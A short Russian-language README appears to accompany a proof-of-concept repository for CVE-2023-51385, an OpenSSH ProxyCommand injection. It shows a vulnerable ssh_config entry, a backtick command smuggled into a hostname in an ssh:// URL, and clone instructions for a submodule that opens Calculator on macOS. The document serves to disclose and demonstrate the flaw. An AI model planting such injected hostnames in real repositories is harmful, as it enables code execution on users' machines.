
CVE-2023-51385
RCE через небезопасный ~/.ssh/config
Использование токенов, таких как %h, %p, в ProxyCommand довольно популярно для организации туннелей и проксирования соединений через SSH.
Уязвимая конфигурация
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
Примечание: при первоначальной оценке я полагал, что использование '%h (одинарные кавычки) позволит избежать этого, но похоже, что это всё равно будет уязвимо с чем-то вроде:
ssh://`echo helloworld` > cve.txt`foo.example.com/bar
Взято из: https://man.openbsd.org/ssh_config#ProxyCommand
Что в этом репозитории
Субмодуль, который эксплуатирует эту уязвимость для открытия калькулятора на OSX.
Попробуйте, используя:
git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules
или
git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules